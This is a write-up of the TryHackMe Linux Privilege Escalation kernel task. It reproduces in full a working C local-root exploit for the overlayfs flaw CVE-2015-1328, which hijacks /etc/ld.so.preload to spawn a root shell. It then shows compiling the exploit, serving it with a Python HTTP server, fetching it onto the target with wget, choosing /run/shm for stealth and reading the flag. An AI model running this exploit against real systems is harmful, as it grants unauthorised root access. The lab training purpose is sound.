Enumeration
The kernel exploitation task of TryHackMe’s Linux Privilege Escalation room required me to take advantage of a known vulnerability of the kernel of the task’s VM. Before I could find an exploit, I had to determine the version of the Linux kernel on the VM. For this I used $uname -a. Here’s the result:
$ uname -a
Linux wade7363 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
A brief Google search quickly discovers that this version of kernel has a known vulnerability, namely CVE-2015-1328.
CVE-2015-1328
This is the overlayfs vulnerability and is described as:
The overlayfs implementation in the linux (aka Linux kernel) package before 3.19.0-21.21 in Ubuntu through 15.04 does not properly check permissions for file creation in the upper filesystem directory, which allows local users to obtain root access by leveraging a configuration in which overlayfs is permitted in an arbitrary mount namespace.
With this information, Google led me to a some source code, on exploit-db.com for an exploit written in C.
/*
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328 (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1328 / ofs.c
overlayfs incorrect permission handling + FS_USERNS_MOUNT
user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)
greets to beist & kaliman
2015-05-24
%rebel%
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>
#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n"
static char child_stack[1024*1024];
static int
child_exec(void *stuff)
{
char *file;
system("rm -rf /tmp/ns_sploit");
mkdir("/tmp/ns_sploit", 0777);
mkdir("/tmp/ns_sploit/work", 0777);
mkdir("/tmp/ns_sploit/upper",0777);
mkdir("/tmp/ns_sploit/o",0777);
fprintf(stderr,"mount #1\n");
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
exit(-1);
}
file = ".access";
chmod("/tmp/ns_sploit/work/work",0777);
} else file = "ns_last_pid";
chdir("/tmp/ns_sploit/o");
rename(file,"ld.so.preload");
chdir("/");
umount("/tmp/ns_sploit/o");
fprintf(stderr,"mount #2\n");
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
exit(-1);
}
chmod("/tmp/ns_sploit/work/work",0777);
}
chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
umount("/tmp/ns_sploit/o");
}
int
main(int argc, char **argv)
{
int status, fd, lib;
pid_t wrapper, init;
int clone_flags = CLONE_NEWNS | SIGCHLD;
fprintf(stderr,"spawning threads\n");
if((wrapper = fork()) == 0) {
if(unshare(CLONE_NEWUSER) != 0)
fprintf(stderr, "failed to create new user namespace\n");
if((init = fork()) == 0) {
pid_t pid =
clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
if(pid < 0) {
fprintf(stderr, "failed to create new mount namespace\n");
exit(-1);
}
waitpid(pid, &status, 0);
}
waitpid(init, &status, 0);
return 0;
}
usleep(300000);
wait(NULL);
fprintf(stderr,"child threads done\n");
fd = open("/etc/ld.so.preload",O_WRONLY);
if(fd == -1) {
fprintf(stderr,"exploit failed\n");
exit(-1);
}
fprintf(stderr,"/etc/ld.so.preload created\n");
fprintf(stderr,"creating shared library\n");
lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
write(lib,LIB,strlen(LIB));
close(lib);
lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
if(lib != 0) {
fprintf(stderr,"couldn't create dynamic library\n");
exit(-1);
}
write(fd,"/tmp/ofs-lib.so\n",16);
close(fd);
system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
execl("/bin/su","su",NULL);
}
Since this is written in C, it needs to be compiled on the attacking machine and then uploaded to the target computer so that the exploit can be run there.
Compilation and Upload
Luckily, the AttackBox on TryHackMe comes packaged with gcc allowing me to generate a binary:
root@ip-10-10-230-112:~# gcc 37292.c -o exploit
37292.c: In function \u2018main\u2019:
37292.c:106:12: warning: implicit declaration of function \u2018unshare\u2019 [-Wimplicit-function-declaration]
106 | if(unshare(CLONE_NEWUSER) != 0)
| ^~~~~~~
37292.c:111:17: warning: implicit declaration of function \u2018clone\u2019; did you mean \u2018close\u2019? [-Wimplicit-function-declaration]
111 | clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
| ^~~~~
| close
37292.c:117:13: warning: implicit declaration of function \u2018waitpid\u2019 [-Wimplicit-function-declaration]
117 | waitpid(pid, &status, 0);
| ^~~~~~~
37292.c:127:5: warning: implicit declaration of function \u2018wait\u2019 [-Wimplicit-function-declaration]
127 | wait(NULL);
| ^~~~
root@ip-10-10-230-112:~#
None of these warnings are worrisome, as they concern proper coding style regarding the implicit declaration of functions.
The next step is to start up the simple http server on the attacking machine:
root@ip-10-10-230-112:~# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
The problem is that on the target computer, the low-level user that I have ‘compromised’ doesn’t have a writable /home/karen directory that I can write the exploit executable into.
$ cd
-sh: 3: cd: can't cd to /home/karen
$
I searched for a directory that karen can write to so that I could upload the exploit.
$ find / -type d -perm -0002 2>/dev/null
/var/metrics
/var/crash
/var/tmp
/run/shm
/run/lock
/tmp
/tmp/.ICE-unix
/tmp/.X11-unix
These are the world-writable directories on the target machine, so the karen user can write a file there.
I also needed to make sure that a file could be executed in that directory. So I ran the following:
for dir in /var/metrics /var/crash /var/tmp /run/shm /run/lock /tmp /tmp/.ICE-unix /tmp/.X11-unix; do
opts=$(findmnt -no OPTIONS --target "$dir")
if echo "$opts" | grep -q noexec; then
echo "$dir is noexec — can't execute binaries here"
else
echo "$dir allows execution — you can run payloads here"
fi
done
The result?
/var/metrics allows execution you can run payloads here
/var/crash allows execution you can run payloads here
/var/tmp allows execution you can run payloads here
/run/shm allows execution you can run payloads here
/run/lock is noexec can't execute binaries here
/tmp allows execution you can run payloads here
/tmp/.ICE-unix allows execution you can run payloads here
/tmp/.X11-unix allows execution you can run payloads here
A little research suggested that /var/temp and /run/shm would be the best places to upload and execute our payload. Of these two, /run/shm is preferable as it is more stealthy (mounted in memory rather than on disk, and is wiped on system reboot). While this doesn’t matter for a walkthrough room task, it’s a good idea in my opinion to start thinking like a red teamer.
So, now we cd into /run/shm and upload our payload.
$ cd /run/shm
$ mkdir karen
$ cd karen
$ wget http://10.10.230.112:8000/exploit
--2025-04-05 11:48:47-- http://10.10.230.112:8000/exploit
Connecting to 10.10.230.112:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 17600 (17K) [application/octet-stream]
Saving to: \u2018exploit\u2019
100%[=======================>] 17,600 --.-K/s in 0s
2025-04-05 11:48:47 (427 MB/s) - \u2018exploit\u2019 saved [17600/17600]
$
We now simply make out payload executable with chmod +x ./exploit.
Running Exploit
Gaining root is as simple now as running our exploit binary.
$ ./exploit
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
#
With # prompt, I have root privileges.
The last step is just to grab flag1.txt:
# cd /home
# ls
matt
# cd matt
# ls
Desktop Documents Downloads Music Pictures Public Templates Videos examples.desktop flag1.txt
# cat flag1.txt
THM-28**********920
#
Recap
-
Kernel version matters — A simple
uname -acan uncover known vulnerabilities like CVE-2015-1328. -
Enumeration is everything — Finding writable and executable directories as a low-priv user is critical for exploiting local binaries.
-
OverlayFS exploitation — The CVE took advantage of improperly checked permissions in
overlayfs, allowing us to escalate to root by manipulating mount namespaces andld.so.preload. -
Living like a red teamer — Even in a lab, it’s good practice to think about stealth (e.g., using
/run/shmover/tmp). -
Google is your friend — From CVEs to working exploit code on Exploit-DB, the answers are often just a search away.